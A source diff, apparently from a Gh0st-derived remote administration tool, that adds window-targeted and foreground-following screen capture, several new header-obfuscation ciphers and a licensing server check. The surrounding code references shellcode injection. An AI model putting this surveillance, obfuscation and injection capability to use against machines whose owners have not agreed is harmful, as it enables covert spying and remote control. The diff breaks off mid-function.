VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||||
|
|||||||
@@ -13,11 +13,34 @@
|
|||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
|
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all, int level,
|
||||||
RECT rc, BOOL switchScreen) :
|
RECT rc, BOOL switchScreen, HWND hwnd, bool dynamicFg) :
|
||||||
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
ScreenCapture(ulbiBitCount, algo, all, level, rc, switchScreen)
|
||||||
{
|
{
|
||||||
|
m_hTargetWnd = hwnd;
|
||||||
|
m_bDynamicForeground = dynamicFg;
|
||||||
m_GOP = gop;
|
m_GOP = gop;
|
||||||
|
|
||||||
|
// 窗口捕获模式:用 DWM 真实边界覆盖基类的全屏尺寸,并缓存阴影偏移量
|
||||||
|
if (hwnd) {
|
||||||
|
RECT wndRc = {}, frameRc = {};
|
||||||
|
GetWindowRect(hwnd, &wndRc);
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(hwnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - wndRc.top;
|
||||||
|
} else {
|
||||||
|
frameRc = wndRc;
|
||||||
|
}
|
||||||
|
m_ulFullWidth = frameRc.right - frameRc.left;
|
||||||
|
m_ulFullHeight = frameRc.bottom - frameRc.top;
|
||||||
|
m_CachedWndW = wndRc.right - wndRc.left;
|
||||||
|
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||||
|
m_iScreenX = frameRc.left; // 窗口左上角在屏幕上的绝对坐标,供 PointConversion 使用
|
||||||
|
m_iScreenY = frameRc.top;
|
||||||
|
m_bZoomed = false;
|
||||||
|
Mprintf("CScreenSpy: 窗口捕获 HWND=%p 尺寸=%dx%d shadow=(%d,%d)\n",
|
||||||
|
hwnd, m_ulFullWidth, m_ulFullHeight, m_ShadowLeft, m_ShadowTop);
|
||||||
|
}
|
||||||
|
|
||||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||||
|
|
||||||
iniFile cfg(CLIENT_PATH);
|
iniFile cfg(CLIENT_PATH);
|
||||||
@@ -122,10 +145,19 @@ CScreenSpy::~CScreenSpy()
|
|||||||
|
|
||||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||||
{
|
{
|
||||||
|
if (m_hTargetWnd && IsIconic(m_hTargetWnd)) {
|
||||||
|
*ulFirstScreenLength = 0;
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
||||||
memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
memcpy(m_FirstBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
|
// H264/AV1:不发原始位图,IDR 到达后服务端自行解锁;节省每次切窗口的流量峰值
|
||||||
|
if (m_bAlgorithm == ALGORITHM_H264) {
|
||||||
|
*ulFirstScreenLength = 0;
|
||||||
|
return nullptr;
|
||||||
|
}
|
||||||
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||||
@@ -138,13 +170,18 @@ LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
|||||||
|
|
||||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
{
|
{
|
||||||
|
if (m_hTargetWnd || m_bDynamicForeground) {
|
||||||
|
if (m_bDynamicForeground && !UpdateDynamicForeground()) return;
|
||||||
|
if (IsIconic(m_hTargetWnd)) return;
|
||||||
|
if (!CheckWindowResize()) return;
|
||||||
|
CaptureWindowContent(hdcDest, hdcSour, ulWidth, ulHeight);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (m_bVirtualPaint) {
|
if (m_bVirtualPaint) {
|
||||||
// 先用深色填充背景,避免窗口移动时留下残影
|
|
||||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
|
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30));
|
||||||
FillRect(hdcDest, &rcFill, hBrush);
|
FillRect(hdcDest, &rcFill, hBrush);
|
||||||
DeleteObject(hBrush);
|
DeleteObject(hBrush);
|
||||||
|
|
||||||
int n = 0;
|
int n = 0;
|
||||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||||
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
||||||
@@ -158,16 +195,97 @@ VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHei
|
|||||||
#else
|
#else
|
||||||
const ULONG ulJumpLine = 50;
|
const ULONG ulJumpLine = 50;
|
||||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||||
|
for (int i = 0, ulToJump = 0; i < (int)ulHeight; i += ulToJump) {
|
||||||
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
|
|
||||||
ULONG ulv1 = ulHeight - i;
|
ULONG ulv1 = ulHeight - i;
|
||||||
|
ulToJump = (ulv1 > ulJumpLine) ? ulJumpLine : ulv1;
|
||||||
if (ulv1 > ulJumpLine)
|
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour, 0, i, SRCCOPY);
|
||||||
ulToJump = ulJumpLine;
|
|
||||||
else
|
|
||||||
ulToJump = ulv1;
|
|
||||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
|
||||||
Sleep(ulJumpSleep);
|
Sleep(ulJumpSleep);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 每帧跟踪前景窗口;切换时尺寸相同直接复用,尺寸不同触发重建
|
||||||
|
// 返回 false 表示本帧跳过(冻结)
|
||||||
|
bool CScreenSpy::UpdateDynamicForeground()
|
||||||
|
{
|
||||||
|
HWND fg = GetForegroundWindow();
|
||||||
|
if (fg && fg != m_hTargetWnd) {
|
||||||
|
RECT wndRc = {}, frameRc = {};
|
||||||
|
GetWindowRect(fg, &wndRc);
|
||||||
|
frameRc = wndRc;
|
||||||
|
DwmGetWindowAttribute(fg, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc));
|
||||||
|
ULONG newW = (ULONG)(frameRc.right - frameRc.left);
|
||||||
|
ULONG newH = (ULONG)(frameRc.bottom - frameRc.top);
|
||||||
|
if (newW != m_ulFullWidth || newH != m_ulFullHeight) {
|
||||||
|
// 尺寸不同:让 WorkThread 重建,m_NextTargetWnd 传递新 HWND
|
||||||
|
m_NextTargetWnd = fg;
|
||||||
|
m_bNeedRestart = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
// 尺寸相同:直接切换,更新阴影偏移缓存,无需重建
|
||||||
|
m_ShadowLeft = frameRc.left - wndRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - wndRc.top;
|
||||||
|
m_CachedWndW = wndRc.right - wndRc.left;
|
||||||
|
m_CachedWndH = wndRc.bottom - wndRc.top;
|
||||||
|
m_PendingWndW = m_PendingWndH = 0;
|
||||||
|
m_hTargetWnd = fg;
|
||||||
|
Mprintf("CScreenSpy: 前景切换(同尺寸) -> HWND=%p\n", fg);
|
||||||
|
}
|
||||||
|
return m_hTargetWnd != NULL; // NULL=无前景窗口,冻结上一帧
|
||||||
|
}
|
||||||
|
|
||||||
|
// 检测窗口 resize:GetWindowRect 每帧调用;DWM 查询仅在尺寸稳定 300ms 后触发
|
||||||
|
// 同时更新 m_iScreenX/Y(窗口移动时坐标同步),返回 false 表示本帧跳过
|
||||||
|
bool CScreenSpy::CheckWindowResize()
|
||||||
|
{
|
||||||
|
static const DWORD RESIZE_DEBOUNCE_MS = 300;
|
||||||
|
RECT fullRc = {};
|
||||||
|
GetWindowRect(m_hTargetWnd, &fullRc);
|
||||||
|
m_iScreenX = fullRc.left + m_ShadowLeft;
|
||||||
|
m_iScreenY = fullRc.top + m_ShadowTop;
|
||||||
|
int w = fullRc.right - fullRc.left;
|
||||||
|
int h = fullRc.bottom - fullRc.top;
|
||||||
|
if (w == m_CachedWndW && h == m_CachedWndH)
|
||||||
|
return true;
|
||||||
|
// 尺寸有变化:更新防抖记录
|
||||||
|
if (w != m_PendingWndW || h != m_PendingWndH) {
|
||||||
|
m_PendingWndW = w;
|
||||||
|
m_PendingWndH = h;
|
||||||
|
m_SizeChangeTick = GetTickCount();
|
||||||
|
}
|
||||||
|
if (GetTickCount() - m_SizeChangeTick < RESIZE_DEBOUNCE_MS)
|
||||||
|
return false; // 尚未稳定,冻结等待
|
||||||
|
// 稳定 300ms:查询 DWM 真实帧边界,决定是否重建
|
||||||
|
RECT frameRc = fullRc;
|
||||||
|
if (SUCCEEDED(DwmGetWindowAttribute(m_hTargetWnd, DWMWA_EXTENDED_FRAME_BOUNDS, &frameRc, sizeof(frameRc)))) {
|
||||||
|
m_ShadowLeft = frameRc.left - fullRc.left;
|
||||||
|
m_ShadowTop = frameRc.top - fullRc.top;
|
||||||
|
} else {
|
||||||
|
m_ShadowLeft = m_ShadowTop = 0;
|
||||||
|
}
|
||||||
|
if ((ULONG)(frameRc.right - frameRc.left) != m_ulFullWidth ||
|
||||||
|
(ULONG)(frameRc.bottom - frameRc.top) != m_ulFullHeight) {
|
||||||
|
Mprintf("CScreenSpy: 窗口尺寸变化 %dx%d -> %dx%d,触发重建\n",
|
||||||
|
m_ulFullWidth, m_ulFullHeight,
|
||||||
|
frameRc.right - frameRc.left, frameRc.bottom - frameRc.top);
|
||||||
|
m_bNeedRestart = true;
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
m_CachedWndW = w;
|
||||||
|
m_CachedWndH = h;
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
// 前景模式直接 BitBlt(零闪烁);指定窗口模式用 PrintWindow(处理遮挡)
|
||||||
|
void CScreenSpy::CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||||
|
{
|
||||||
|
if (m_bDynamicForeground) {
|
||||||
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||||
|
} else {
|
||||||
|
HDC hTmp = m_data.GetWindowDC();
|
||||||
|
HBITMAP hOld = (HBITMAP)SelectObject(hTmp, m_data.GetWindowBmp());
|
||||||
|
if (PrintWindow(m_hTargetWnd, hTmp, PW_RENDERFULLCONTENT))
|
||||||
|
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hTmp, m_ShadowLeft, m_ShadowTop, SRCCOPY);
|
||||||
|
SelectObject(hTmp, hOld);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|||||||
@@ -95,10 +95,25 @@ protected:
|
|||||||
|
|
||||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||||
EnumHwndsPrintData m_data;
|
EnumHwndsPrintData m_data;
|
||||||
|
HWND m_hTargetWnd = NULL; // 窗口捕获目标(NULL=全屏)
|
||||||
|
bool m_bDynamicForeground = false; // true=每帧跟踪前景窗口(由 sentinel=-1 触发)
|
||||||
|
int m_ShadowLeft = 0; // DWM 阴影左偏移(frameRc.left - fullRc.left),帧间缓存
|
||||||
|
int m_ShadowTop = 0; // DWM 阴影上偏移(frameRc.top - fullRc.top),帧间缓存
|
||||||
|
int m_CachedWndW = 0; // 上帧 GetWindowRect 宽度,用于检测 resize 无需每帧调 DWM
|
||||||
|
int m_CachedWndH = 0; // 上帧 GetWindowRect 高度
|
||||||
|
int m_PendingWndW = 0; // 防抖:检测到尺寸变化后记录的新宽度
|
||||||
|
int m_PendingWndH = 0; // 防抖:检测到尺寸变化后记录的新高度
|
||||||
|
DWORD m_SizeChangeTick = 0; // 防抖:尺寸上次变化的时间戳(GetTickCount)
|
||||||
|
|
||||||
public:
|
public:
|
||||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE,
|
||||||
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE);
|
int level = LEVEL_H264_SOFT, RECT rc = {0}, BOOL switchScreen = TRUE, HWND hwnd = NULL, bool dynamicFg = false);
|
||||||
|
|
||||||
|
virtual HWND GetTargetWindow() const override { return m_hTargetWnd; }
|
||||||
|
|
||||||
|
// 窗口模式下 m_ulFullWidth/Height 是窗口尺寸,但 SendInput 的 dx/dy 分母必须是屏幕尺寸
|
||||||
|
virtual int GetScreenWidth() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CXSCREEN) : m_ulFullWidth; }
|
||||||
|
virtual int GetScreenHeight() const override { return m_hTargetWnd ? GetSystemMetrics(SM_CYSCREEN) : m_ulFullHeight; }
|
||||||
|
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
|
|
||||||
@@ -251,6 +266,14 @@ public:
|
|||||||
m_hDeskTopDC = GetDC(NULL);
|
m_hDeskTopDC = GetDC(NULL);
|
||||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
// 前景跟踪:切换或尺寸变化时更新 m_hTargetWnd,返回 false 表示本帧冻结
|
||||||
|
bool UpdateDynamicForeground();
|
||||||
|
// 防抖 + 重建检测:更新 m_iScreenX/Y,返回 false 表示本帧冻结
|
||||||
|
bool CheckWindowResize();
|
||||||
|
// 执行实际像素拷贝(BitBlt 或 PrintWindow)
|
||||||
|
void CaptureWindowContent(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -68,6 +68,9 @@ bool CX264Encoder::open(int width, int height, int fps, int crf)
|
|||||||
|
|
||||||
bool CX264Encoder::open(x264_param_t * param)
|
bool CX264Encoder::open(x264_param_t * param)
|
||||||
{
|
{
|
||||||
|
// x264_encoder_open 在 0×0 时已完成 x264_param_strdup 才报错,需在此拦截
|
||||||
|
if (param->i_width < 2 || param->i_height < 2) return false;
|
||||||
|
|
||||||
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicIn = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
m_pPicOut = (x264_picture_t*)calloc(1, sizeof(x264_picture_t));
|
||||||
|
|
||||||
|
|||||||
@@ -304,6 +304,7 @@ enum {
|
|||||||
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
TOKEN_DRIVE_LIST_PLUGIN = 150, // 文件管理(插件)
|
||||||
TOKEN_DRAWING_BOARD=151, // 画板
|
TOKEN_DRAWING_BOARD=151, // 画板
|
||||||
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
COMMAND_SCREEN_ROI = 152, // 屏幕区域
|
||||||
|
COMMAND_SCREEN_WINDOW = 153, // 窗口捕获(标题字符串,空串=恢复全屏)
|
||||||
|
|
||||||
TOKEN_DECRYPT = 199,
|
TOKEN_DECRYPT = 199,
|
||||||
TOKEN_REGEDIT = 200, // 注册表
|
TOKEN_REGEDIT = 200, // 注册表
|
||||||
@@ -341,6 +342,7 @@ enum {
|
|||||||
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
TOKEN_SCREEN_PREVIEW_RSP = 248, // 屏幕预览响应(客户端→服务端)
|
||||||
COMMAND_TEXT_REPLACE = 249,
|
COMMAND_TEXT_REPLACE = 249,
|
||||||
TOKEN_CLIP_TEXT = 250,
|
TOKEN_CLIP_TEXT = 250,
|
||||||
|
TOKEN_SERVER_VERIFY = 251, // 验证服务器,防中间人和假冒的授权服务器
|
||||||
};
|
};
|
||||||
|
|
||||||
#pragma pack(push, 1)
|
#pragma pack(push, 1)
|
||||||
|
|||||||
@@ -133,3 +133,19 @@ inline void decrypt_v6(unsigned char* data, size_t length, unsigned char key)
|
|||||||
{
|
{
|
||||||
encrypt_v6(data, length, key); // 异或的自反性
|
encrypt_v6(data, length, key); // 异或的自反性
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// v7: LCG 流 + 位偏置(非自反,需对应 decrypt_v7 解密)
|
||||||
|
void encrypt_v7(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v7(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v8: 循环位移 + LCG 异或流(非自反)
|
||||||
|
void encrypt_v8(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v8(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v9: 双层密码(逐字节替换 + 前向链式异或)
|
||||||
|
void encrypt_v9(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v9(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|
||||||
|
// v10: BCrypt HMAC-SHA256 密钥流(XOR 自反)
|
||||||
|
void encrypt_v10(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
void decrypt_v10(unsigned char* data, size_t length, unsigned char key);
|
||||||
|
|||||||
@@ -20,6 +20,10 @@ enum HeaderEncType {
|
|||||||
HeaderEncV4,
|
HeaderEncV4,
|
||||||
HeaderEncV5,
|
HeaderEncV5,
|
||||||
HeaderEncV6,
|
HeaderEncV6,
|
||||||
|
HeaderEncV7,
|
||||||
|
HeaderEncV8,
|
||||||
|
HeaderEncV9,
|
||||||
|
HeaderEncV10,
|
||||||
HeaderEncNum,
|
HeaderEncNum,
|
||||||
};
|
};
|
||||||
|
|
||||||
@@ -91,7 +95,8 @@ inline void decrypt(unsigned char* data, size_t length, unsigned char key)
|
|||||||
|
|
||||||
inline EncFun GetHeaderEncoder(HeaderEncType type)
|
inline EncFun GetHeaderEncoder(HeaderEncType type)
|
||||||
{
|
{
|
||||||
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6 };
|
static const DecFun methods[] = { default_encrypt, encrypt, encrypt_v1, encrypt_v2, encrypt_v3, encrypt_v4, encrypt_v5, encrypt_v6,
|
||||||
|
encrypt_v7, encrypt_v8, encrypt_v9, encrypt_v10 };
|
||||||
return methods[type];
|
return methods[type];
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -170,7 +175,8 @@ inline FlagType CheckHead(const char* flag, DecFun dec)
|
|||||||
// 解密需要尝试多种方法,以便能兼容老版本通讯协议
|
// 解密需要尝试多种方法,以便能兼容老版本通讯协议
|
||||||
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit)
|
inline FlagType CheckHead(char* flag, HeaderEncType& funcHit)
|
||||||
{
|
{
|
||||||
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6 };
|
static const DecFun methods[] = { default_decrypt, decrypt, decrypt_v1, decrypt_v2, decrypt_v3, decrypt_v4, decrypt_v5, decrypt_v6,
|
||||||
|
decrypt_v7, decrypt_v8, decrypt_v9, decrypt_v10 };
|
||||||
static const int methodNum = sizeof(methods) / sizeof(DecFun);
|
static const int methodNum = sizeof(methods) / sizeof(DecFun);
|
||||||
char buffer[MIN_COMLEN + 4] = {};
|
char buffer[MIN_COMLEN + 4] = {};
|
||||||
for (int i = 0; i < methodNum; ++i) {
|
for (int i = 0; i < methodNum; ++i) {
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -23,6 +23,8 @@
|
|||||||
#include "UIBranding.h"
|
#include "UIBranding.h"
|
||||||
#pragma comment(lib, "Dbghelp.lib")
|
#pragma comment(lib, "Dbghelp.lib")
|
||||||
|
|
||||||
|
extern void licenseInit();
|
||||||
|
|
||||||
// 外部声明:程序退出标志(定义在 2015RemoteDlg.cpp)
|
// 外部声明:程序退出标志(定义在 2015RemoteDlg.cpp)
|
||||||
extern std::atomic<bool> g_bAppExiting;
|
extern std::atomic<bool> g_bAppExiting;
|
||||||
|
|
||||||
@@ -470,6 +472,8 @@ BOOL CMy2015RemoteApp::InitInstance()
|
|||||||
return FALSE;
|
return FALSE;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
licenseInit();
|
||||||
|
|
||||||
if (!ProcessZstaCmd()) {
|
if (!ProcessZstaCmd()) {
|
||||||
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
Mprintf("[InitInstance] 处理自定义压缩/解压命令后退出。\n");
|
||||||
return FALSE;
|
return FALSE;
|
||||||
|
|||||||
Binary file not shown.
@@ -641,6 +641,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogLangEx(CMy2015RemoteDl
|
|||||||
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
m_bmOnline[56].LoadBitmap(IDB_BITMAP_UNCOMPRESS);
|
||||||
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
m_bmOnline[57].LoadBitmap(IDB_BITMAP_UNINSTALL);
|
||||||
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
m_bmOnline[58].LoadBitmap(IDB_BITMAP_COPY);
|
||||||
|
m_bmOnline[59].LoadBitmap(IDB_BITMAP_ACTIVE_WND);
|
||||||
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
|
||||||
m_ServerDLL[i] = nullptr;
|
m_ServerDLL[i] = nullptr;
|
||||||
m_ServerBin[i] = nullptr;
|
m_ServerBin[i] = nullptr;
|
||||||
@@ -890,6 +891,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
ON_MESSAGE(WM_TRIAL_WAN_IP_ABUSE, OnTrialWanIpAbuse)
|
||||||
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
ON_MESSAGE(WM_INJECT_SHELLCODE, InjectShellcode)
|
||||||
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
ON_MESSAGE(WM_ANTI_BLACKSCREEN, AntiBlackScreen)
|
||||||
|
ON_MESSAGE(WM_OPEN_WINDOW_SCREEN, OpenWindowScreen)
|
||||||
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
ON_MESSAGE(WM_SHARE_CLIENT, ShareClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
ON_MESSAGE(WM_ASSIGN_CLIENT, AssignClient)
|
||||||
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
ON_MESSAGE(WM_ASSIGN_ALLCLIENT, AssignAllClient)
|
||||||
@@ -992,6 +994,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
ON_MESSAGE(WM_SPLITTER_MOVED, &CMy2015RemoteDlg::OnSplitterMoved)
|
||||||
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
ON_MESSAGE(WM_SPLITTER_RELEASED, &CMy2015RemoteDlg::OnSplitterReleased)
|
||||||
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
ON_COMMAND(ID_COPY_CLIENT_INFO, &CMy2015RemoteDlg::OnCopyClientInfo)
|
||||||
|
ON_COMMAND(ID_ONLINE_ACTIVE_WND, &CMy2015RemoteDlg::OnOnlineActiveWnd)
|
||||||
END_MESSAGE_MAP()
|
END_MESSAGE_MAP()
|
||||||
|
|
||||||
|
|
||||||
@@ -4029,6 +4032,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
|||||||
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
Menu.SetMenuItemBitmaps(ID_PROXY_PORT_STD, MF_BYCOMMAND, &m_bmOnline[24], &m_bmOnline[24]);
|
||||||
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
Menu.SetMenuItemBitmaps(ID_CANCEL_SHARE, MF_BYCOMMAND, &m_bmOnline[50], &m_bmOnline[50]);
|
||||||
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
Menu.SetMenuItemBitmaps(ID_COPY_CLIENT_INFO, MF_BYCOMMAND, &m_bmOnline[58], &m_bmOnline[58]);
|
||||||
|
Menu.SetMenuItemBitmaps(ID_ONLINE_ACTIVE_WND, MF_BYCOMMAND, &m_bmOnline[59], &m_bmOnline[59]);
|
||||||
|
|
||||||
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
Menu.ModifyMenuL(ID_ONLINE_AUTHORIZE, MF_BYCOMMAND | MF_STRING, ID_ONLINE_AUTHORIZE, _T("发送授权"));
|
||||||
|
|
||||||
@@ -5219,6 +5223,48 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
PostMessageA(WM_SHOWERRORMSG, (WPARAM)new CString(_L(msg->text)), (LPARAM)new CString(_L(msg->title)));
|
||||||
break;
|
break;
|
||||||
}
|
}
|
||||||
|
case TOKEN_SERVER_VERIFY: {
|
||||||
|
// 客户端发送:SN|时间戳
|
||||||
|
// 服务端查询授权列表,验证此SN存在且有效,用私钥对授权状态进行签名,返回: SN|时间戳|Status|Signature
|
||||||
|
// 客户端用公钥验证消息
|
||||||
|
|
||||||
|
if (len <= 1 || m_v2KeyPath.empty())
|
||||||
|
break;
|
||||||
|
|
||||||
|
// 解析 payload: szBuffer[1..] 为 "SN|时间戳" null-terminated 字符串
|
||||||
|
std::string payload((char*)szBuffer + 1, len - 1);
|
||||||
|
{
|
||||||
|
size_t z = payload.find('\0');
|
||||||
|
if (z != std::string::npos) payload.resize(z);
|
||||||
|
}
|
||||||
|
|
||||||
|
size_t sep = payload.find('|');
|
||||||
|
if (sep == std::string::npos || sep == 0 || sep + 1 >= payload.size())
|
||||||
|
break;
|
||||||
|
|
||||||
|
